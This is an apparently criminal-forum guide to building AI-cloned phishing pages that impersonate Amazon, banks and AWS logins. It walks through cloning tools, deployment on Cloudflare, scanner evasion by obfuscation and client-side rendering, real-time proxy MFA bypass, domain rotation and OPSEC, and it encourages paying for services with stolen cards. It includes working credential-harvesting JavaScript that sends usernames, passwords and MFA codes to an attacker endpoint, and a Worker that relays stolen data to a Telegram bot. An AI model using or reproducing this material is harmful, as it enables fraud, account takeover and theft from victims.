THE PHISHING FACTORY: Complete Guide to AI-Powered Phishing, React Cloning, and Industrial-Scale Credential Harvesting

[Professor]

TABLE OF CONTENTS​

1. Introduction: The Death of Traditional Phishing
2. The Two Fundamental Problems: Obfuscation and Extensibility
3. The AI Revolution: Visual-to-Code Phishing Explained
4. The Cloning Arsenal: Orchids, Memma, Anima, and Spiderman
5. Step-by-Step: Building Your First AI-Cloned Phishing Page
6. The React Advantage: Why Client-Side Rendering Defeats Scanners
7. The Backend: Cloudflare Workers, Telegram Bots, and Credential Pipelines
8. The Proxy Method: Real-Time MFA Bypass with Headless Browsers
9. Build and Deploy: Vite, Obfuscation, and Cloudflare Pages
10. Advanced Extensions: OTP Capture, Geo-Tracking, and Session Hijacking
11. The Caveats: What AI Can and Cannot Do
12. The Future: GPT-6, Behavioral Cloning, and the Widening Gap
13. Error Handling and Troubleshooting Manual
14. Risk Analysis and Minimization
15. OPSEC Rules for AI Phishing
16. The Complete Checklist
17. Key Takeaways and Final Words

CHAPTER 1: INTRODUCTION — THE DEATH OF TRADITIONAL PHISHING​

Picture this: It's 3am, you're sitting in front of your computer, bloodshot-eyed, trying to parse the HTML of that enticing bank page you're trying to clone. You've been at it for hours, manually copying source code, downloading resources, fixing broken links. But no matter how hard you try, the thing just won't load. The fonts are all wonky, the images are returning 403 errors, and the CSS is still a bit wonky.

Finally, after what feels like an eternity of debugging, it's ready. You upload it to your bulletproof hosting, fire up your mail cannon, and start swearing.

And then — BAM!

Within hours, your domain will be banned, your hosting provider will block your site, and all that work will quickly go down the drain. Your beautiful phishing page will die. Your dreams of easy money will be ruined.

Sound familiar? Yeah, I thought so.

The thing is, as detection tools become more sophisticated, your approach needs to be more sophisticated. The days of copying HTML code and praying to the fraud gods are over.

Today, we're diving into a new generation of phishing — one that gives you maximum extensibility and obfuscation right out of the box. Phishers that can adapt on the fly, have features that weren't available before, and automatically hide from those pesky security scanners.

Welcome to the future. Let's go.

CHAPTER 2: THE TWO FUNDAMENTAL PROBLEMS — OBFUSCATION AND EXTENSIBILITY​

Before we get into the cool new stuff, let's recap how most of you are currently creating phishing pages, and why it fails.

2.1. The Old School Method​

Step	Action	Tools
1	Target selection	Bank, payment processor, email provider
2	Cloning a page	HTTrack, Save Page WE, Singlefile, Ctrl+S
3	Resource scrambling	Manual URL replacement, resource downloads
4	Backend setup	PHP script (copied from 2015 HackForums)
5	Deployment	Free hosting, hacked WordPress
6	Distribution	Spam emails, SMS, social media

2.2. Problem #1: Obfuscation (or Lack Thereof)​

Here's a fun fact: Right now, as you read this, thousands of bots are scanning the web looking for phishing pages. These digital bloodhounds sniff out HTML code that matches known patterns: a PayPal logo here, a "Login" button there, boom, you're flagged.

Why is it so easy for them? Server-side rendering.

When someone visits your phishing page, your server delivers them the full HTML. Every element, every line, every suspicious form field — it's all in plain text for bots to parse. It's like trying to hide drugs in a clear plastic bag.

Security companies have huge databases of HTML fingerprints from legitimate sites. When your fake Bank of America page produces HTML that's 95% identical to the original, their algorithms light up like a Christmas tree. Your domain gets blacklisted, and your domain registrar and host are automatically notified.

2.3. Problem #2: Extensibility (The Real Killer)​

This is where traditional phishing really shows its age. Let's say you want to take phishing to the next level and make it asynchronous.

What does that mean? Instead of just collecting data and sending messages, you need to:

1. Capture your panel username/password
2. Check them in real time on a real site
3. When a one-time password (OTP) is triggered, dynamically display the OTP request page
4. Capture a one-time password while the victim is still on your site
5. Make a profit with full access to your account

Sounds cool, right? Good luck implementing this with your static HTML.

You will need to reverse engineer the authentication process on the site, extract and understand their JavaScript, rebuild their styles for your new OTP page, and make sure it all works without a hitch.

CHAPTER 3: THE AI REVOLUTION — VISUAL-TO-CODE PHISHING EXPLAINED​

Now this is where it gets interesting. What if I told you there was a way to automatically generate a fully extensible codebase from any website? Code that is initially hidden from scanners, allowing you to easily add complex features and making your phishers virtually undetectable to traditional scanning methods?

3.1. How Visual-to-Code Works​

Instead of giving you an HTML file with broken resources, modern AI tools use a visual-to-code pipeline:

1. Visual Analysis — AI analyzes the target site's screenshot or URL
2. Structural Understanding — Identifies components (header, form, footer)
3. Code Generation — Rebuilds it from scratch as a modern React app
4. Styling Application — Applies Tailwind CSS and Shadcn UI
5. Output — You get a fully functional React project

It's like an AI developer is rebuilding the site for you, only this developer doesn't ask questions and works for free.

3.2. The Modular Frontend Engine​

According to security research on the Spiderman phishing kit, the core innovation is a modular frontend engine + dynamic backend proxy architecture. The kit's management panel provides:

Feature	Description
Bank Template Library	50+ European bank UI screenshots, auto-extracts CSS styles, fonts, button positions
Dynamic Field Mapping	Auto-identifies login form fields (username, password, otp) and generates capture scripts
Domain Disguise Assistant	Recommends high-similarity domains and auto-generates SSL certificates via ACME/Let's Encrypt
Real-Time Log Dashboard	Shows captured credentials, geolocation, device type, one-click CSV export

"It's essentially a phishing site SaaS platform," notes public internet anti-phishing expert Lu Di. "In the past, building a phishing site took half a day. Now it's faster than ordering takeout."

CHAPTER 4: THE CLONING ARSENAL — ORCHIDS, MEMMA, ANIMA, AND SPIDERMAN​

4.1. Orchids.app​

What it is: The first AI app builder that builds and deploys any app, any stack — web, mobile, chrome extension, slack bot, AI agent.

Key Features:

• Visual analysis of target sites
• React codebase generation
• Built-in VS Code editor
• Use existing AI subscriptions (ChatGPT, Claude, Gemini)

Pricing: Free plan available; premium for unlimited clones

4.2. Memma​

What it is: Open-source visual-to-code CLI tool that converts websites into React components.

Key Features:

• memma generate <source> — converts URL or image to React components
• TypeScript-based React components
• Inline Tailwind CSS styling
• Option to scaffold Next.js project
• Supports local image files

Installation:

npm install -g memma
memma init
memma start
memma generate https://amazon.com/login

4.3. Anima​

What it is: API-first tool that turns Figma designs or live websites into clean, production-ready code.

Key Features:

• Website to Code (URL → React)
• Only Tailwind CSS available for websites
• Only Shadcn UI available for websites
• TypeScript only for websites

SDK Example:

const { generateCode } = require('@animaapp/anima-sdk');

await generateCode({
  source: { url: 'https://amazon.com/login' },
  settings: {
    framework: 'react',
    language: 'typescript',
    styling: 'tailwind',
    uiLibrary: 'shadcn'
  }
});

4.4. Spiderman Phishing Kit​

What it is: Commercial phishing kit sold on dark web for $300-800/month.

Key Features:

• Zero-code, full GUI, one-click deployment
• Bank template library (50+ European banks)
• Real-time proxy forwarding for MFA bypass
• 10-second page generation
• Supports 12 languages

How It Works:

1. Select target bank from GUI
2. Choose language
3. Enter fake domain
4. System generates phishing site in <10 seconds
5. Real-time proxy forwards credentials to real bank
6. User redirected to "maintenance" page

CHAPTER 5: STEP-BY-STEP — BUILDING YOUR FIRST AI-CLONED PHISHING PAGE​

Let's get our hands dirty and clone Amazon like the professional degenerates we are.

Step 1: Card an Orchids.app Subscription​

To get started, you'll need an Orchids.app account. While they have a free plan, you'll want the premium package for unlimited clones and better AI models. Fire up your favorite carding setup and sign up for a subscription. If you can't even afford a $20/month SaaS subscription, you have no business being a phisher.

Step 2: Attract a Target​

Go to the Amazon login page. Take a screenshot or save the URL — you will need it for Orchids.app.

Step 3: Clone Wars​

1. Head to orchids.app
2. Paste Amazon URL or upload your screenshot
3. Watch AI work its magic

In a few seconds, you'll have a React project that looks almost identical to Amazon's login page.

Step 4: Pick Your Weapon​

There may be some artifacts left to fix, but you have two options for fine-tuning your clone:

Option A: Download and Use an AI-Powered IDE

• Download the project
• Open in Cursor or Windsurf
• Use natural language: "Make the login button darker" or "Fix the mobile version"

Option B: Use Orchids.app's Built-in Editor

• Stay in Orchids.app
• Use suggestions feature: "match Amazon's orange color exactly" or "add security logo from original"

Step 5: Quick and Easy Backend (Testing)​

Setting up a proper backend is covered in Chapter 7. For now, use webhook.site:

1. Go to webhook.site
2. Get your unique URL
3. Ask Orchid to replace the form action with this URL

This is just for testing.

Step 6: Adding Advanced Features​

Want to add OTP capture? Just show Orchids.app (or Cursor) a screenshot of Amazon's OTP page and say "Add this as a new component."

The AI will generate a component that will automatically inherit all the Amazon styling: colors, fonts, spacing. It will look native because your entire codebase is already themed correctly.

Step 7: Build and Deploy​

npm run build

This will create an optimized, obfuscated production build.

For hosting? Just create a new Cloudflare Pages project, upload the dist folder directly, and watch your phishing page come to life.

The generated files are minified JavaScript. No obvious HTML forms for scanners to detect. Just compiled React code, which could be any web app!

CHAPTER 6: THE REACT ADVANTAGE — WHY CLIENT-SIDE RENDERING DEFEATS SCANNERS​

6.1. How Client-Side Rendering Works​

Since Orchids.app generates a React app, your phishing page no longer renders as static HTML. Instead:

Feature	How It Works
Client-side rendering	Browser receives JavaScript that dynamically renders the page
Component-based architecture	Login form generated by React components at runtime
Build-time obfuscation	Vite plugins for minification, tree shaking, custom obfuscation

6.2. What Scanners See vs. What They Find​

Scanners are looking for:

<form action="login">

They won't find anything because your form is generated client-side with JavaScript that looks like alphabet soup.

What Scanners Look For	What They Find
Static HTML forms	JavaScript bundles
Known patterns	Minified React code
Original domain references	Obfuscated strings
Suspicious form fields	Runtime-generated components

6.3. Real-World Example​

A March 2026 phishing campaign used a React-based SPA hosted on a Cloudflare Workers domain to impersonate Dropbox Transfer . The phishing page's HTML was minimal, with the interface dynamically rendered by a bundled JavaScript file containing React runtime and application logic.

This SPA approach is uncommon in phishing kits, which typically use static HTML, making analysis and detection more challenging.

CHAPTER 7: THE BACKEND — CLOUDFLARE WORKERS, TELEGRAM BOTS, AND CREDENTIAL PIPELINES​

7.1. The Cloudflare Infrastructure Stack​

According to security research on Cloudflare-hosted AWS phishing, attackers use three free Cloudflare services :

Service	Role	Domain Format
Cloudflare Pages	Static phishing page hosting	xxx.pages.dev
Cloudflare Workers	Man-in-the-middle proxy layer	xxx.workers.dev
Cloudflare Tunnel	Hidden backend tunneling	trycloudflare.com

7.2. Complete Infrastructure Setup (5 Minutes)​

1. Register anonymous Cloudflare account
2. Enable Pages, Workers, R2 storage, Tunnel
3. Download open-source phishing kit
4. Upload static pages to Pages
5. Deploy Workers proxy script
6. Enable Tunnel for backend
7. Generate phishing links

No payment, no identity verification, 5 minutes to launch complete phishing infrastructure .

7.3. Workers Proxy Logic​

The Workers script acts as a middleman :

// AWS phishing page credential theft JS snippet
const submitForm = document.getElementById("aws-login-form");
submitForm.addEventListener("submit", async function(e) {
  e.preventDefault();
  const user = document.getElementById("username").value;
  const pwd = document.getElementById("password").value;
  const mfa = document.getElementById("mfa-code").value;
  
  // Send data via Cloudflare Workers proxy
  await fetch("https://aws-proxy-xxx.workers.dev/collect", {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({
      aws_user: user,
      aws_pwd: pwd,
      mfa_token: mfa,
      device: navigator.userAgent,
      timestamp: new Date().getTime()
    })
  });
  
  // Redirect to real AWS console to eliminate suspicion
  window.location.href = "https://console.aws.amazon.com";
});

Key deception logic: After submitting credentials, automatically redirect to the real AWS console. The victim won't perceive any anomaly and won't retain memory of abnormal page access, greatly improving attack success rate .

7.4. Telegram Bot Integration​

For real-time credential notifications, use Cloudflare Workers with Telegram Bot API :

// Cloudflare Worker for Telegram notifications
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
  const data = await request.json()
  
  await fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      chat_id: CHAT_ID,
      text: `New credentials: ${JSON.stringify(data)}`
    })
  })
  
  return new Response('OK')
}

7.5. Alternative Exfiltration: EmailJS​

A March 2026 campaign used EmailJS — a legitimate email service API — to exfiltrate credentials . Instead of sending data to attacker-controlled infrastructure, credentials were sent directly via email using client-side JavaScript.

This bypasses traditional network detection methods because the traffic goes to a legitimate service.

CHAPTER 8: THE PROXY METHOD — REAL-TIME MFA BYPASS WITH HEADLESS BROWSERS​

8.1. How Starkiller Works​

A new framework called Starkiller takes a different approach . It launches a headless Chrome instance inside a Docker container, loads the brand's real website, and acts as a reverse proxy between the target and the legitimate site.

Recipients are served genuine page content directly through the attacker's infrastructure, ensuring the phishing page is never out of date.

8.2. MFA Bypass Explained​

Because the end user is actually authenticating with the real site through the proxy, any one-time codes or authentication tokens they submit are forwarded to the legitimate service in real time. The attacker captures the resulting session cookies and tokens, giving them authenticated access to the account.

When attackers relay the entire authentication flow in real time, MFA protections can be effectively neutralized despite functioning exactly as designed .

8.3. Starkiller Features​

Feature	Description
Real-time session monitoring	Live-stream target's screen
Keylogger capture	Every keystroke
Cookie/session token theft	Direct account takeover
Geo-tracking	Target location
Telegram alerts	Automated notifications
Campaign analytics	Visit counts, conversion rates

CHAPTER 9: BUILD AND DEPLOY — VITE, OBFUSCATION, AND CLOUDFLARE PAGES​

9.1. Build Process​

npm run build

This creates:

• Minified JavaScript
• Obfuscated code
• Optimized assets
• Production-ready files

9.2. Advanced Obfuscation​

For maximum source protection, use javascript-obfuscator with high-security parameters :

javascript-obfuscator input.js --output output.js \
  --self-defending \
  --string-array-encoding base64 \
  --string-array-threshold 0.75

Parameter	Effect
--self-defending	Prevents code from running if tampered with
--string-array-encoding base64	Hides sensitive strings
--string-array-threshold 0.75	Obfuscates 75% of all strings

9.3. Cloudflare Pages Deployment​

1. Create new Cloudflare Pages project
2. Upload dist folder
3. Configure custom domain
4. Enable SSL
5. Access Turnstile for bot filtering

Why Cloudflare?

• Free tier
• Global CDN
• DDoS protection
• Workers for serverless backend

CHAPTER 10: ADVANCED EXTENSIONS — OTP CAPTURE, GEO-TRACKING, AND SESSION HIJACKING​

10.1. OTP Capture​

Step	Action
1	Show AI a screenshot of OTP page
2	Say "Add this as a new component"
3	AI generates component with matching styles
4	Connect to backend for real-time capture

10.2. Geo-Tracking​

The phishing script queries Geoapify IP geolocation API to gather victim geographic metadata, which is sent along with credentials to attackers .

10.3. Session Hijacking​

When Starkiller proxies live auth flows, it captures session cookies and tokens . These can be used for:

• Direct account takeover
• Lateral movement within organizations
• Follow-on attacks
• Email harvesting for further phishing

10.4. Email Harvesting​

Harvested emails from compromised sessions can enable follow-on attacks that spread laterally across an organization .

CHAPTER 11: THE CAVEATS — WHAT AI CAN AND CANNOT DO​

Before you run away thinking you're doing great with your new AI-powered phishing kit, let me disappoint you a bit.

11.1. What AI Won't Do Perfectly​

Issue	Frequency
No interactive elements	Common
Wrong colors/spacing	Common
Incorrect responsive design	Sometimes
No hover states	Common
No animations	Common

11.2. How to Fix​

Use the Orchids.app hint feature to clarify:

• "Make the login button the same shade of red as the original"
• "Add a hover dropdown menu"
• "Fix the mobile layout so it is vertical"

11.3. The 80/20 Rule​

Think of it as 80% of the way there automatically, with the last 20% requiring your creativity.

It's still faster and more reliable than copying complex pages and tinkering from scratch, but don't expect a perfect 1:1 clone without some work.

11.4. Dynamic Content Limitations​

Sites that load content via JavaScript may not clone completely. AI tools capture what's visible in the initial page load .

Login-protected pages: AI can only access public pages by default. Content behind authentication won't be captured.

CHAPTER 12: THE FUTURE — GPT-6, BEHAVIORAL CLONING, AND THE WIDENING GAP​

12.1. What's Coming Next​

But here's the beautiful part: this is just the starting line, not the finish line. AI is advancing at breakneck speed.

Timeline	Capability
Today	5-10 iterations for perfect clone
6 months	2-3 iterations
1 year	Automatic perfection
2 years	Full behavioral cloning

12.2. The Coming Revolution​

We are rapidly approaching a future where you can paste a URL, hit enter, and get a pixel-perfect clone that is indistinguishable from the original. Every micro-interaction, every hover effect, every responsive breakpoint — it's all captured and recreated flawlessly in a single command.

AI will understand not only how a site looks, but how it behaves.

12.3. GPT-6 and Beyond​

Think GPT-4 is smart? Wait until GPT-6 can analyze a website's entire user flow, understand its authentication logic, and recreate not just its visual design, but its entire user experience.

We're talking about AI that will reverse engineer complex web applications and create production-ready phishing platforms that even the original developers couldn't tell apart.

12.4. The Widening Gap​

This guide represents the first wave of truly intelligent phishing tools. By the time most newbies figure out how to use these tools properly, the next generation of AI will make today's tools look like cave paintings.

Stay ahead of the curve, because this technology gap will only widen. Early adopters will feast while the dinosaurs still struggle with broken copies of HTML.

12.5. Spiderman's Impact​

The Spiderman kit marks phishing's transition from "handicraft workshop" to "industrial assembly line" . Ordinary criminals don't need to know HTML, JavaScript, or even rent a server — just pay with a credit card to launch a cross-border financial fraud.

12.6. Starkiller's Impact​

Starkiller's low technical barrier makes it particularly dangerous for defenders . The point-and-click panel requires no knowledge of reverse proxies or certificates, giving low-skill attackers enterprise-grade phishing capabilities.

CHAPTER 13: ERROR HANDLING AND TROUBLESHOOTING MANUAL​

13.1. Error: AI Clone Looks Wrong​

Causes: Complex page structure, dynamic content, AI limitations
Fix: Use hint feature, manual editing, multiple iterations

13.2. Error: Form Doesn't Submit​

Causes: Wrong action URL, CORS issues, JavaScript errors
Fix: Check action URL, configure CORS, debug JavaScript

13.3. Error: Domain Banned​

Causes: Detected by scanners, reported by victims, blacklisted
Fix: New domain, better obfuscation, Cloudflare protection

13.4. Error: OTP Not Captured​

Causes: Backend not connected, wrong flow logic, timing issues
Fix: Check backend, review flow, adjust timing

CHAPTER 14: RISK ANALYSIS AND MINIMIZATION​

14.1. Risks​

Risk	Probability	Mitigation
Domain ban	High	Rotation
Detection	Medium	Obfuscation
Backend compromise	Medium	Encryption
Legal issues	Medium	VPN, OPSEC

14.2. Detection Methods to Evade​

According to CGI AntiPhish, detection systems analyze :

Layer	What's Analyzed
Visual	Website's front page and visual elements
Source	Host, location, source code
Meta	Certificate and its domains

Defense: Client-side rendering defeats visual analysis, obfuscation defeats source analysis, Cloudflare defeats meta analysis.

CHAPTER 15: OPSEC RULES FOR AI PHISHING​

1. Always use VPN
2. Never use real identity
3. Rotate domains
4. Encrypt data
5. Use crypto payments
6. Never store evidence
7. Use Cloudflare for anonymity
8. Separate infrastructure per campaign

CHAPTER 16: THE COMPLETE CHECKLIST​

Before Starting:​

• □ Orchids.app account (premium)
• □ Carding setup for subscription
• □ Target URL/screenshot
• □ AI IDE (Cursor/Windsurf)
• □ Cloudflare account
• □ VPN active

Cloning:​

• □ Target analyzed
• □ Clone generated
• □ Artifacts fixed
• □ Features added
• □ Backend connected

Deployment:​

• □ Build completed
• □ Obfuscation applied
• □ Cloudflare Pages set up
• □ Domain configured
• □ SSL enabled
• □ Turnstile enabled

Post-Deployment:​

• □ Monitoring active
• □ Telegram bot configured
• □ Credentials flowing
• □ Domain rotation ready
• □ Backups in place
• □ OPSEC maintained

CHAPTER 17: KEY TAKEAWAYS AND FINAL WORDS​

Phishing is evolving, whether you like it or not. Old methods are becoming obsolete.

This is your call to action. The tools are out there, the methods are proven, and the only thing standing between you and next-level phishing is your willingness to learn the basics of React.

Key Takeaways:​

1. Traditional phishing is dead — too slow, too detectable
2. AI cloning is the future — Orchids, Memma, Anima, Spiderman
3. React codebase = extensibility — add any feature
4. Client-side rendering = obfuscation — scanners see nothing
5. Cloudflare Pages = deployment — fast, free, protected
6. Proxy method = MFA bypass — Starkiller approach
7. The gap is widening — early adopters win

The Final Word:​

Most people will continue to use their broken HTML codes. But for those willing to evolve and embrace new technologies, the rewards will be there.

Remember: in this game, you either innovate or you die.

Be careful, keep learning, and for heaven's sake, use a VPN.

Good luck, bro. If anything — ask.